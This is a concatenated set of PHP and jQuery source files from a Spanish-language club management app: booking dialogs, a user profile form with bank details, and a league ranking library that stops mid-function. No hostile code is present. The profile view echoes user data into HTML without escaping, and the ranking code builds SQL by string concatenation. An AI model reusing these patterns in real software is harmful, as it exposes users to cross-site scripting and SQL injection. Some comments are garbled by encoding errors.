monthNames: ['Enero','Febrero','Marzo','Abril','Mayo','Junio','Julio','Agosto','Septiembre','Octubre','Noviembre','Diciembre'],
firstDay: 1,
onSelect: function( selectedDate ) {
var option = this.id == "start_date" ? "minDate" : "maxDate",
instance = $( this ).data( "datepicker" );
date = $.datepicker.parseDate(
instance.settings.dateFormat ||
$.datepicker._defaults.dateFormat,
selectedDate, instance.settings );
dates.not( this ).datepicker( "option", option, date );
}
}
);
});
</script>
<div id="pagar_dialog" title="Pagar cuota">
<form action="" method=post name="frmPago2" id="frmPago2">
<p>Pago de la cuota de socio.<br/>
Pagado hasta: <input name="payd_date_tmp" type="text" id="payd_date_tmp" value="" /><br/>
Cuota a cobrar <input name="payable_quota_tmp" type="text" id="payable_quota_tmp" value="<?php echo number_format($quota,2); ?>" size="7" alt="dinero"/><br/>
<span style="color: red; font-size:0.75em;">(Si se deja un campo vacío se aplica el valor por defecto)</span></p>
</form>
</div>
<div id="alta_dialog" title="Alta en curso">
<p>Elija método de pago para el alta de usuario.</p>
<form action="" method=post name="frmPago" id="frmPago">
Fecha alta: <input type="text" name="sign_date" id="sign_date" value="<?php echo date($this->config->item('reserve_date_filter_format')); ?>" alt="date">
</form>
</div>
<div id="cancelar_dialog" title="Cancelar Reserva">
<p>¿Está seguro de querer cancelar la reserva?</p>
<fieldset>
<label for="text_cancel_view">Motivo:</label>
<input type="text" name="text_cancel_view" id="text_cancel_view" value=""/>
</fieldset>
</div>
<div id="baja_dialog" title="Baja Alumno">
<p>Elija el motivo por el que el alumno causa baja</p>
<form action="" method=post name="frmBaja" id="frmBaja">
<fieldset>
<label for="text_cancel_view">Motivo:</label>
<?php echo form_dropdown('unsubscription_reason', $motivos_baja, '','id="unsubscription_reason"'); ?>
</fieldset>
</form>
</div>
<div id="cambiar_dialog" title="Modificar Hora Reserva">
<p class="validateTips">Todos los campos son obligatorios.</p>
<fieldset>
<label for="hora_inicio">Hora Inicio:</label>
<input type="text" name="hora_inicio_view" id="hora_inicio_view" value=""/>
<br>
<label for="hora_fin">Hora Fin:</label>
<input type="text" name="hora_fin_view" id="hora_fin_view" value="" />
</fieldset>
</div>
<div id="confirmar_dialog" title="Confirmar">
<p>¿Está seguro de querer modificar la reserva?</p>
</div>
<table id="flex1" style="display:none"></table>
```
user_profile.php
```<?php //print("<pre>");print_r($array_user); ?>
<form class="form_user" name="formUser" method="post">
<table width="100%" border="0" cellspacing="10" class="nota">
<tr>
<td width="93">
<?php
if(trim($array_user['avatar'])!='') echo img( array('src'=>'images/users/'.$array_user['avatar'], 'border'=>'0', 'width'=>'90', 'alt' => 'Avatar', 'align'=>'absmiddle'));
else echo img( array('src'=>'images/avatar.jpg', 'border'=>'0', 'width'=>'90', 'height'=>'110"', 'alt' => 'foto', 'align'=>'absmiddle'));
?>
<!-- aqui irรก la funcion de cambiar imagen de perfil-->
<br>
<label>Activo
<input type="checkbox" name="user_active" id="user_active" value="1" <?php if ($array_user['user_active'] == '1') echo 'checked'?> />
</label>
</td>
<td width="405" valign="top">
<input type="hidden" id="id_user" name="id_user" value="<?php echo $array_user['user_id'];?>">
<label><span>Codigo</span>
<input name="code" type="text" id="code" disabled value="<?php echo $code_user;?>" size="30" />
</label>
<label><span>Nombre</span>
<input name="first_name" type="text" id="first_name" value="<?php echo $array_user['user_name'];?>" size="30" />
</label>
<label><span>Apellidos</span>
<input type="text" name="last_name" id="last_name" value="<?php echo $array_user['user_lastname'];?>" size="30" />
</label>
<label><span>Email </span>
<input type="text" name="email" id="email" value="<?php echo $array_user['user_email'];?>" size="30" />
</label>
<label><span>NIF</span>
<input type="text" name="nif" id="nif" value="<?php echo $array_user['nif'];?>" />
</label>
<label><span>Nivel de usuario</span>
<input type="hidden" id="group_id" name="group_id" value="<?php echo $array_user['group_id'];?>">
<input name="group_desc" type="text" id="group_desc" disabled value="<?php echo $array_user['group_description'];?>" size="20" />
</label>
<label><span>Password</span>
<input name="Password" type="password" id="Password" value="sfsfsfsfsdf" size="6" disabled/>
<input type="button" id="password_change" class="boton" value="Cambiar"/></label>
<label><span>Num. cuenta</span>
<input name="bank" style="width: 34px" disabled type="text" id="bank" value="<?php echo $array_user['bank'];?>" maxlength="4" size="2" />
<input name="bank_office" style="width: 34px" disabled type="text" id="bank_office" value="<?php echo $array_user['bank_office'];?>" size="2" />
<input name="bank_dc" style="width: 18px" disabled type="text" id="bank_dc" value="<?php echo $array_user['bank_dc'];?>" size="1" />
<input name="bank_account" style="width: 75px" disabled type="text" id="bank_account" value="<?php echo $array_user['bank_account'];?>" size="6" />
</label>
<label><span>Cuenta IBAN</span>
<input name="bank_iban" disabled type="text" id="bank_iban" size="24" value="<?php echo $array_user['bank_iban'];?>"/>
</label>
<label><span>Titular cuenta</span>
<input name="bank_titular" type="text" disabled id="bank_titular" value="<?php echo $array_user['bank_titular'];?>"/>
</label>
</td>
<td width="476" >
<?php
if($numero_socio_visible) {
if($numero_socio_automatico) $disabled = ' disabled ';
else $disabled = '';
?>
<label> <span>Numero abonado </span>
<input type="text" name="code" id="code" value="<?php echo $array_user['numero_socio'];?>" <?php echo $disabled;?>size="30" />
</label>
<?php
}
?>
<label> <span>Dirección </span>
<input type="text" name="address" id="address" value="<?php echo $array_user['address'];?>" size="30" />
</label>
<label><span>CP </span>
<input type="text" name="cp" id="cp" value="<?php echo $array_user['cp'];?>" size="5" />
</label>
<label><span>Localidad </span>
<input type="text" name="population" id="population" value="<?php echo $array_user['population'];?>" size="30" />
</label>
<label><span>Provincia </span>
<select name="code_province" id="code_province">
<?php
//pinto combo de niveles
$seleccionar = "";
foreach($array_province as $value)
{
if ($array_user['code_province'] == $value['id']) $seleccionar = "selected";
else $seleccionar = "";
echo '<option '.$seleccionar.' value="'.$value['id'].'">'.$value['description'].'</option>';
}
?>
</select>
</label>
<label><span>Teléfono</span>
<input type="text" name="user_phone" id="user_phone" value="<?php echo $array_user['user_phone'];?>" size="10" />
</label>
<label><span>Género</span>
<select name="gender" id="gender">
<option value="0">--Seleccionar--</option>
<?php
$check_female = "";
if ($array_user['gender'] == '2') $check_female = "selected";
$check_male = "";
if ($array_user['gender'] == '1') $check_male = "selected";
?>
<option value="1" <?php echo $check_male?>>Hombre</option>
<option value="2" <?php echo $check_female?>>Mujer</option>
</select>
</label>
<!--
<label><span>Teléfono 2</span>
<input type="text" name="mobile_phone" id="mobile_phone" value="<?php echo $array_user['mobile_phone'];?>" size="10" />
</label>
-->
<label><span>Fecha nacimiento</span>
<input type="text" name="birth_date" id="birth_date" value="<?php echo date($this->config->item('reserve_date_filter_format'), strtotime($array_user['birth_date'])); ?>" />
<?php //echo img( array('src'=>'images/calendar.jpg', 'border'=>'0', 'width'=>'24', 'height'=>'24"', 'alt' => 'calendario', 'align'=>'absmiddle')); ?>
</label>
<label><span>Nivel de juego</span>
<input type="text" name="player_level" id="player_level" disabled size="2" value="<?php echo $array_user['player_level'];?>" />
<?php
// IF que controla si el nivel de usuario se controla por los retos, en cuyo caso, el usuario no puede modificรกrselo รฉl..
$retos_player_level_modification = $this->config->item('retos_player_level_modification');
if(isset($retos_player_level_modification) && $retos_player_level_modification) echo '<div id="slider" style="margin-left:5px; margin-top:5px; margin-right:10px; width:90px; float:left;"></div>';
?>
</label>
</td>
</tr>
</table>
<br clear="all" />
<table border="0" width="100%">
<tr>
<!--
<td><fieldset>
<legend>Seleccion por opciรณn</legend>
<div>
<input name="" type="radio" value="" />
Reserva bono mensual </div>
<div>
<input name="" type="radio" value="" />
Reserva bono anual</div>
</fieldset></td>
-->
<td><fieldset>
<legend>Privacidad</legend>
<div>
<input name="allow_phone_notification" type="checkbox" value="1" <?php if ($array_user['allow_phone_notification'] == '1') echo 'checked'?>/>
Recibir noticias SMS </div>
<div>
<input name="allow_mail_notification" type="checkbox" value="1" <?php if ($array_user['allow_mail_notification'] == '1') echo 'checked'?>/>
Recibir noticias Email</div>
</fieldset></td>
<td><fieldset>
<legend>Dias disponibles para Retos</legend>
<div>
<input name="lunes" type="checkbox" value="1" <?php if ($array_user['reto_lunes'] == '1') echo 'checked'?>/>
Lunes
<input name="martes" type="checkbox" value="1" <?php if ($array_user['reto_martes'] == '1') echo 'checked'?>/>
Martes
<input name="miercoles" type="checkbox" value="1" <?php if ($array_user['reto_miercoles'] == '1') echo 'checked'?>/>
Miércoles
<input name="jueves" type="checkbox" value="1" <?php if ($array_user['reto_jueves'] == '1') echo 'checked'?>/>
Jueves
<input name="viernes" type="checkbox" value="1" <?php if ($array_user['reto_viernes'] == '1') echo 'checked'?>/>
Viernes
<input name="sabado" type="checkbox" value="1" <?php if ($array_user['reto_sabado'] == '1') echo 'checked'?>/>
Sábado
<input name="domingo" type="checkbox" value="1" <?php if ($array_user['reto_domingo'] == '1') echo 'checked'?>/>
Domingo </div>
<div>
<input name="manana" type="checkbox" value="1" <?php if ($array_user['reto_manana'] == '1') echo 'checked'?>/>
Mañanas
<input name="tardes" type="checkbox" value="1" <?php if ($array_user['reto_tarde'] == '1') echo 'checked'?> />
Tardes
<input name="finde" type="checkbox" value="1" <?php if ($array_user['reto_finde'] == '1') echo 'checked'?>/>
Fines de semana
<input name="avisar_retos" type="checkbox" value="1" <?php if ($array_user['reto_notifica'] == '1') echo 'checked'?>/>
Quiero recibir avisos</div>
</fieldset></td>
<?php if($tarifa_enabled) { ?>
<td><fieldset>
<legend>Cuota de socio</legend>
<div>Cuota: <?php echo number_format($quota,2).'€'; ?></div>
<div><?php if($array_user['last_payd_date']!="") echo 'Pagado hasta '.date($this->config->item('reserve_date_filter_format') , strtotime($array_user['last_payd_date'])); else echo 'Sin pagos realizados';?></div>
</fieldset></td>
<?php } ?>
</tr>
</table>
<!--Fin Formulario usuario -->
<br clear="all" />
<p class="validateTips">Campos marcados con asterisco(*) son obligatorios.</p>
<div class="separador">
<input type="button" id="guardar_button" class="boton" value="Enviar"/>
<input type="button" id="cancelar_button" class="boton" value="Cancelar"/>
</div>
<br clear="all" />
</form>
<script type="text/javascript">
$(function() {
<?php
// IF que controla si el nivel de usuario se controla por los retos, en cuyo caso, el usuario no puede modificรกrselo รฉl..
if(isset($retos_player_level_modification) && $retos_player_level_modification) {
?>
$("#slider").slider({
value:<?php echo $array_user['player_level'];?>,
min: 1,
max: 6,
step: 0.1,
slide: function(event, ui) {
$("#player_level").val( ui.value);
}
});
$("#player_level").val( $("#slider").slider("value"));
<?php
} // Fin del IF que controla si el nivel de usuario se controla por las notas de los retos, en cuyo caso, el usuario no puede modificรกrselo รฉl..
?>
if(!valida_nif_cif_nie('nif') && $('#nif').val()!='') $('#nif').attr('class', 'error');
$('#nif').change(function() {
//alert($('#email').val());
if(!valida_nif_cif_nie('nif') && $('#nif').val()!='') $('#nif').attr('class', 'error');
else $('#nif').removeClass('error');
});
//Definiciรณn de mรกscaras del formulario
$.mask.masks.dinero = {mask : '99.99', type : 'reverse', defaultValue: '000'};
$.mask.masks.dni = {mask : '99999999-a'};
$('input:text').setMask();
var dates = $( "#birth_date" ).datepicker({
showOn: 'button',
buttonImage: '<?php echo base_url(); ?>/images/calendar.gif',
buttonImageOnly: true,
changeMonth: true,
changeYear: true,
numberOfMonths: 2,
dateFormat: 'dd-mm-yy',
dayNamesMin: ['Do', 'Lu', 'Ma', 'Mi', 'Ju', 'Vi', 'Sa'],
monthNames: ['Enero','Febrero','Marzo','Abril','Mayo','Junio','Julio','Agosto','Septiembre','Octubre','Noviembre','Diciembre'],
firstDay: 1,
onSelect: function( selectedDate ) {
var option = this.id == "start_date" ? "minDate" : "maxDate",
instance = $( this ).data( "datepicker" );
date = $.datepicker.parseDate(
instance.settings.dateFormat ||
$.datepicker._defaults.dateFormat,
selectedDate, instance.settings );
dates.not( this ).datepicker( "option", option, date );
}
});
});
//Construyo un array
var array_level = new Array();
array_level[0] = 'No seleccionado';
<?php
//relleno el array de niveles
if(isset($array_levels) && is_array($array_levels)) {
foreach($array_levels as $value)
{
echo 'array_level['.$value['id'].']= \''.$value['name'].'\';';
}
}
?>
</script>
<script type="text/javascript">
$('#guardar_button')
.click(function() {
document.getElementById('player_level').disabled=false;
document.getElementById('group_id').disabled=false;
document.getElementById('bank').disabled=false;
document.getElementById('bank_office').disabled=false;
document.getElementById('bank_dc').disabled=false;
document.getElementById('bank_account').disabled=false;
document.getElementById('bank_titular').disabled=false;
$('#activar_dialog').dialog('open');
});
$('#cancelar_button')
.click(function() {
$(document.location).attr("href", "<?php echo site_url('users/index'); ?>");
});
$('#password_change')
.click(function() {
$('#password_dialog').dialog('open');
});
</script>
<script type="text/javascript">
// increase the default animation speed to exaggerate the effect
//$.fx.speeds._default = 1000;
$(function()
{
// a workaround for a flaw in the demo system (http://dev.jqueryui.com/ticket/4375), ignore!
$("#dialog").dialog("destroy");
var first_name = $("#first_name"), last_name = $("#last_name"),
email = $("#email"),
password_user = $("#password_user"),
user_phone = $("#user_phone"),
group_id = $("#group_id"), old_password = $("#old_password"), new_password = $("#new_password"),
re_password = $("#re_password"),
allFields = $([]).add(first_name).add(last_name).add(password_user).add(user_phone).add(old_password).add(new_password).add(re_password),
tips = $(".validateTips");
function updateTips(t) {
tips
.text(t)
.addClass('ui-state-highlight');
setTimeout(function() {
tips.removeClass('ui-state-highlight', 1500);
}, 500);
}
function checkLength(o,n,min,max)
{
if ( o.val().length > max || o.val().length < min ) {
o.addClass('ui-state-error');
updateTips("La longitud de " + n + " debe estar entre "+min+" y "+max+".");
return false;
} else {
return true;
}
}
function checkRegexp(o,regexp,n)
{
if ( !( regexp.test( o.val() ) ) ) {
o.addClass('ui-state-error');
updateTips(n);
return false;
} else {
return true;
}
}
$('#activar_dialog').dialog({
autoOpen: false,
show: 'blind',
modal: true,
buttons: {
'Guardar': function() {
//chequeo de usuarios
var bValid = true;
//bValid = bValid && checkLength(name,"Apodo",3,40);
bValid = bValid && checkLength(first_name,"Nombre",3,40);
bValid = bValid && checkLength(last_name,"Apellido",3,60);
bValid = bValid && checkLength(user_phone,"Telefono",9,15);
//bValid = bValid && checkLength(email,"Email",6,80);
bValid = bValid && checkRegexp(user_phone,/^([0-9])+$/i,"El telefono debe ser numerico.");
bValid = bValid && checkRegexp(group_id,/^([0-9])+$/i,"Seleccione un nivel.");
//bValid = bValid && checkRegexp(name,/^[a-z]([0-9a-z_])+$/i,"Lastname may consist of a-z, 0-9, underscores, begin with a letter.");
// From jquery.validate.js (by joern), contributed by Scott Gonzalez: http://projects.scottsplayground.com/email_address_validation/
if($("#email").val() != '') bValid = bValid && checkRegexp(email,/^((([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+(\.([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+)*)|((\x22)((((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(([\x01-\x08\x0b\x0c\x0e-\x1f\x7f]|\x21|[\x23-\x5b]|[\x5d-\x7e]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(\\([\x01-\x09\x0b\x0c\x0d-\x7f]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]))))*(((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(\x22)))@((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?$/i,"Formato mail incorrecto, ejemplo: prueba@prueba.com");
if (bValid) {
document.forms["formUser"].action='<?php echo site_url('users/edit_user');?>';
document.forms["formUser"].submit();
}
else
{
$(this).dialog('close');
}
},
'Cancelar': function() {
document.getElementById('player_level').disabled=true;
document.getElementById('group_id').disabled=true;
document.getElementById('bank').disabled=true;
document.getElementById('bank_office').disabled=true;
document.getElementById('bank_dc').disabled=true;
document.getElementById('bank_account').disabled=true;
document.getElementById('bank_titular').disabled=true;
$(this).dialog('close');
}
}
});
$('#password_dialog').dialog({
autoOpen: false,
show: 'blind',
modal: true,
buttons: {
'Modificar': function() {
//chequeo de usuarios
var bValid = true;
//bValid = bValid && checkLength(name,"Apodo",3,40);
bValid = bValid && checkLength(old_password,"Password",5,16);
bValid = bValid && checkLength(new_password,"Password",5,16);
bValid = bValid && checkLength(re_password,"Password",5,16);
//bValid = bValid && checkLength(email,"Email",6,80);
if($("#new_password").val() != $("#re_password").val()) {
bValid = bValid && false;
updateTips("Las dos copias del nuevo password deben ser iguales.");
}
if (bValid) {
$('#frmPassword').submit();
}
},
'Cancelar': function() {
$(this).dialog('close');
}
}
});
});
</script>
<div id="activar_dialog" title="Modificar usuario">
<p>Está seguro de querer cambiar los datos del usuario?</p>
</div>
<div id="password_dialog" title="Modificar contraseña">
<p class="validateTips">Rellene todos los campos.</p>
<?php
$attributes = array('class' => 'frmPassword', 'id' => 'frmPassword');
echo form_open('users/reset_password', $attributes);
?>
<input type="hidden" name="returnUrl" id="returnUrl" value="<?php echo site_url('users/profile');?>"/>
<input type="hidden" name="id_user" id="id_user" value="<?php echo $array_user['user_id'];?>"/>
<fieldset>
<label for="old_password">Contraseña actual:</label>
<input type="password" name="old_password" id="old_password" value="" class="text ui-widget-content ui-corner-all" />
<br>
<label for="new_password">Contraseña nueva:</label>
<input type="password" name="new_password" id="new_password" value="" class="text ui-widget-content ui-corner-all" />
<br>
<label for="re_password">Repetir contraseña:</label>
<input type="password" name="re_password" id="re_password" value="" class="text ui-widget-content ui-corner-all" />
</fieldset>
<?php echo form_close(''); ?>
</div>
```
rank_lib.php
```<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
class rank_lib
{
/**
* CodeIgniter global
*
* @var string
**/
protected $ci;
/**
* __construct
*
* @return void
* @author Mathew
**/
/*
public function __construct()
{
$this->CI =& get_instance();
log_message('debug', "rank_Lib Class Initialized");
}
*/
public function rank_lib()
{
$this->CI =& get_instance();
log_message('debug', "rank_Lib Class Initialized");
}
/**
* Calcula partidos de una jornada (con opci๏ฟฝn de ida y vuelta, pendiente de progamar)
*
* @return array
* @author Mathew
**/
public function calculaJornadas($equipos, $i_v = false)
{
if(!is_array($equipos) || count($equipos) == 0) return NULL;
//shuffle ($equipos); // Mezclamos los equipos para asegurar imparcialidad
if((count($equipos)%2) == 1) array_push($equipos, 'D'); // Si son impares, a๏ฟฝado el equipo 'D', que es el de jornada de descanso
$jornadas = count($equipos) - 1;
$partidos = array();
# Recorremos las
for($i = 1; $i <= $jornadas; $i++) {
$jornada = array();
if($i == 1) {
# Primera jornada
for($j = 1; $j <= (count($equipos) / 2); $j++) {
$k = $j - 1;
//echo $j.'-'.$k.'-'.(count($equipos)/2).'<br>';
if((count($equipos)/2) == $j) $partido = array($equipos[count($equipos)-1], $equipos[($k)]); // El ๏ฟฝltimo partido de la jornada es especial..
else $partido = array($equipos[$k], $equipos[count($equipos)-($j+1)]);
array_push($jornada, $partido);
}
# Fin de calculo de la primera jornada
} elseif($i > 0 && $i%2 == 0) {
# Calculo de las jornadas pares
$punto_partida = $partidos[$i-2]; // Cojo la jornada anterior (que es impar)
//print("<pre>");print_r($punto_partida);exit();
for($j=0; $j < count($punto_partida); $j++) {
$partido = array();
if($j==0) $partido = array($punto_partida[$j][1], $punto_partida[count($punto_partida)-1][0]);
else $partido = array($punto_partida[$j][1], $punto_partida[$j-1][0]);
array_push($jornada, $partido);
}
# Fin de calculo de las jornadas pares
} else {
# Calculo de las jornadas impares
$punto_partida = $partidos[$i-3]; // Cojo la anterior jornada impar (dos jornadas antes)
//print("<pre>");print_r($punto_partida);exit();
for($j=0; $j < count($punto_partida); $j++) {
$partido = array();
if($j==0) $partido = array($punto_partida[$j][1], $punto_partida[$j+1][1]);
elseif(($j+1) == count($punto_partida)) $partido = array($punto_partida[$j][0], $punto_partida[$j-1][0]);
else $partido = array($punto_partida[$j-1][0], $punto_partida[$j+1][1]);
array_push($jornada, $partido);
}
# Fin de calculo de las jornadas impares
}
array_push($partidos, $jornada);
}
return($partidos);
}
/**
* Recupera rondas de un ranking
*
* @return array
* @author Mathew
**/
public function getRounds($id)
{
$resultado = $this->CI->rank->getRounds($id);
if(!isset($resultado) || count($resultado) == 0) return NULL;
for($i=0; $i<count($resultado); $i++) {
$resultado[$i]['fecha_inicio'] = date($this->CI->config->item('reserve_date_filter_format'), strtotime($resultado[$i]['start_date']));
$resultado[$i]['fecha_fin'] = date($this->CI->config->item('reserve_date_filter_format'), strtotime($resultado[$i]['end_date']));
if($resultado[$i]['started']=='') $resultado[$i]['started'] = '0';
if($resultado[$i]['finished']=='') $resultado[$i]['finished'] = '0';
if($resultado[$i]['started'] == '1' && $resultado[$i]['finished'] == '0') $resultado[$i]['current'] = '1';
else $resultado[$i]['current'] = '0';
}
return $resultado;
}
/**
* Recupera EQUIPOS de un ranking con su tanteo en la ronda actual
*
* @return array
* @author Mathew
**/
public function getTeams($id, $round = '', $group = '', $no_order = FALSE)
{
$info = $this->CI->rank->getRanking($id);
$rondas = $this->getRounds($id);
foreach($rondas as $ronda_) {
if($ronda_['id'] == $round) $ronda_activa = $ronda_;
}
//print_r($ronda_activa);
//echo '--'.$info['current_round_id'].'--'.$round;
if($round == '') {
# Si acabo de crear el ranking y a๏ฟฝn no hay ronda iniciada
$equipos = $this->CI->rank->get_ActiveTeams($id, $group);
if(!isset($equipos) || count($equipos) == 0) return NULL;
for($i=0; $i < count($equipos); $i++) {
$equipos[$i]['puntos'] = 0;
$equipos[$i]['PJ'] = 0;
$equipos[$i]['PG'] = 0;
$equipos[$i]['PP'] = 0;
$equipos[$i]['PE'] = 0;
$equipos[$i]['SG'] = 0;
$equipos[$i]['SP'] = 0;
$equipos[$i]['SE'] = 0;
$equipos[$i]['JG'] = 0;
$equipos[$i]['JP'] = 0;
$equipos[$i]['JE'] = 0;
}
} elseif($info['current_round_id'] == $round && $ronda_activa['started'] == '1' && $ronda_activa['finished'] == '0') {
//echo 'aa';
# Si estoy consultando los datos de la jornada actual
$equipos = $this->getTeamsCalculated($id, $round, $group, $no_order);
} else {
//echo 'bb';
# Si estoy consultando jornadas anteriores
$equipos = $this->CI->rank->getRoundScoring($id, $round, $group, $no_order);
//print('<pre>');print_r($equipos);
}
return $equipos;
}
/**
* Baja un equipo de posicion en el ranking
*
* @return array
* @author Mathew
**/
public function moveTeamDown($id, $id_team)
{
$info = $this->CI->rank->getRanking($id);
$equipos = $this->getTeams($id, $info['current_round_id']);
//print_r($equipos);
$equipo = $this->getTeam($id_team);
$equipo1 = array('id_ranking' => $id, 'id' => $id_team, 'group' => '', 'order' => '');
$equipo2 = array('id_ranking' => $id, 'id' => '', 'group' => '', 'order' => '');
# Recorro los equipos para sacar el orden y grupo del equipo actual
for($i=0; $i<count($equipos); $i++) {
if($equipos[$i]['id'] == $id_team) {
$orden_actual = $equipos[$i]['order'];
$ronda_actual = $equipos[$i]['group'];
//$equipo2['id'] = $equipos[$i-1]['id'];
}
}
//echo $ronda_actual.' - '.$orden_actual.'<br>';
# Recorro los grupos y ordenes para asignarle la posicion anterior y la posterior al 2๏ฟฝ
for($i=1; $i <= $info['groups']; $i++) {
for($j=1; $j <= $info['teams']; $j++) {
if($ronda_actual == $i && $orden_actual == $j) {
$equipo2['group'] = $i;
$equipo2['order'] = $j;
continue;
}
//echo $i.' - aaaa - '.$j.'<br>';
if($equipo2['group']!='' && $equipo2['order']!='' && $equipo1['order']=='') {
$equipo1['group'] = $i;
$equipo1['order'] = $j;
}
}
}
for($i=0; $i<count($equipos); $i++) {
if($equipos[$i]['group'] == $equipo1['group'] && $equipos[$i]['order'] == $equipo1['order']) {
$equipo2['id'] = $equipos[$i]['id'];
}
}
//print_r($equipo1);print_r($equipo2);
//exit();
$this->CI->rank->setTeamPosition($id, $id_team, $equipo1['group'], $equipo1['order']);
if($equipo2['id']!='') $this->CI->rank->setTeamPosition($id, $equipo2['id'], $equipo2['group'], $equipo2['order']);
return true;
}
/**
* Sube un equipo de posicion en el ranking
*
* @return array
* @author Mathew
**/
public function moveTeamUp($id, $id_team, $only_up = FALSE)
{
$info = $this->CI->rank->getRanking($id);
//print($id_team."<pre>");print_r($info);//print_r($equipos);
$equipos = $this->CI->rank->getRoundScoring($id, $info['current_round_id']);
//exit();
//$equipos = $this->CI->rank->get_teams(array('where' => "ranking_teams.id_ranking = ".$id." AND ranking_teams.status = 1"));
//$equipos = $this->getTeams($id, $info['current_round_id'], '', FALSE);
$equipo = $this->getTeam($id_team);
$equipo1 = array('id_ranking' => $id, 'id' => $id_team);
$equipo2 = array('id_ranking' => $id, 'id' => '');
# Recorro los equipos para sacar el orden y grupo del equipo actual
for($i=0; $i<count($equipos); $i++) {
if($equipos[$i]['id'] == $id_team) {
$orden_actual = $equipos[$i]['order'];
$ronda_actual = $equipos[$i]['group'];
//$equipo2['id'] = $equipos[$i-1]['id'];
}
}
# Recorro los grupos y ordenes para asignarle la posicion anterior y la posterior al 2๏ฟฝ
for($i=1; $i <= $info['groups']; $i++) {
for($j=1; $j <= $info['teams']; $j++) {
if($ronda_actual == $i && $orden_actual == $j) {
$equipo1['group'] = $ronda;
$equipo1['order'] = $orden;
$equipo2['group'] = $i;
$equipo2['order'] = $j;
}
$orden = $j;
$ronda = $i;
}
}
for($i=0; $i<count($equipos); $i++) {
if($equipos[$i]['group'] == $equipo1['group'] && $equipos[$i]['order'] == $equipo1['order']) {
$equipo2['id'] = $equipos[$i]['id'];
}
}
//print_r($equipo1);print_r($equipo2);
//exit();
$this->CI->rank->setTeamPosition($id, $id_team, $equipo1['group'], $equipo1['order'], $info['current_round_id']);
if(!$only_up && $equipo2['id']!='') $this->CI->rank->setTeamPosition($id, $equipo2['id'], $equipo2['group'], $equipo2['order'], $info['current_round_id']);
return true;
}
# Calculo para la jornada actual
public function getTeamsCalculated($id, $round = '0', $group = '', $no_order = FALSE)
{
//if($no_order) echo 'no ordenar';
$equipos = $this->CI->rank->get_ActiveTeams($id, $group);
if(!isset($equipos) || count($equipos) == 0) return NULL;
for($i=0; $i < count($equipos); $i++) {
$equipos[$i]['puntos'] = 0;
$equipos[$i]['desempate'] = 0;
$equipos[$i]['PJ'] = 0;
$equipos[$i]['PG'] = 0;
$equipos[$i]['PP'] = 0;
$equipos[$i]['PE'] = 0;
$equipos[$i]['PD'] = 0; //Diferencia entre ganados y perdidos
$equipos[$i]['SG'] = 0;
$equipos[$i]['SP'] = 0;
$equipos[$i]['SE'] = 0;
$equipos[$i]['SD'] = 0;
$equipos[$i]['JG'] = 0;
$equipos[$i]['JP'] = 0;
$equipos[$i]['JE'] = 0;
$equipos[$i]['JD'] = 0;
}
//print("<b>EQUIPOS</b><pre>");print_r($equipos);print("</pre>");
# Estados de los partidos que se considerar๏ฟฝn a efectos de resultados
$estados = $this->CI->config->item('ranking_completed_matchs_status');
$condiciones = "ranking_matchs.id_ranking = ".$id." AND ranking_matchs.round = ".$round." AND ranking_matchs.status IN (".implode(', ', $estados).")";
$partidos = $this->CI->rank->get_matchs_data(array('where' => $condiciones), 'all');
//print("<b>PARTIDOS</b><pre>");print_r($partidos);print("</pre>");
# Puntuaciones de partidos
$puntuaciones = array(
'ganado' => $this->CI->config->item('ranking_win_match'),
'empatado' => $this->CI->config->item('ranking_drawn_match'),
'perdido' => $this->CI->config->item('ranking_lost_match'),
'ganadoWO' => $this->CI->config->item('ranking_win_WO_match'),
'perdidoWO' => $this->CI->config->item('ranking_lost_WO_match')
);
foreach($partidos as $partido) {
switch($partido['status']) {
case '5':
$ganador = $partido['winner'];
if($partido['team1'] != $ganador) $perdedor = $partido['team1'];
else $perdedor = $partido['team2'];
for($i=0; $i<count($equipos); $i++) {
# Datos del equipo ganador
if($equipos[$i]['id'] == $ganador) {
$equipos[$i]['PJ']++;
$equipos[$i]['PG']++;
$equipos[$i]['puntos']+=$puntuaciones['ganado'];
}
# Datos del equipo perdedor
if($equipos[$i]['id'] == $perdedor) {
$equipos[$i]['PJ']++;
$equipos[$i]['PP']++;
$equipos[$i]['puntos']+=$puntuaciones['perdido'];
}
}
break;
case '6':
$ganador = $partido['winner'];
if($partido['team1'] != $ganador) $lesionado = $partido['team1'];
else $lesionado = $partido['team2'];
for($i=0; $i<count($equipos); $i++) {
# Datos del equipo ganador
if($equipos[$i]['id'] == $ganador) {
$equipos[$i]['PJ']++;
$equipos[$i]['PG']++;
$equipos[$i]['puntos']+=$puntuaciones['ganadoWO'];
}
# Datos del equipo perdedor
if($equipos[$i]['id'] == $lesionado) {
$equipos[$i]['PJ']++;
$equipos[$i]['PP']++;
$equipos[$i]['puntos']+=$puntuaciones['perdidoWO'];
}
}
break;
case '8':
$ganador = $partido['winner'];
if($partido['team1'] != $ganador) $no_presentado = $partido['team1'];
else $no_presentado = $partido['team2'];
for($i=0; $i<count($equipos); $i++) {
# Datos del equipo ganador
if($equipos[$i]['id'] == $ganador) {
$equipos[$i]['PJ']++;
$equipos[$i]['PG']++;
$equipos[$i]['puntos']+=$puntuaciones['ganadoWO'];
}
# Datos del equipo perdedor
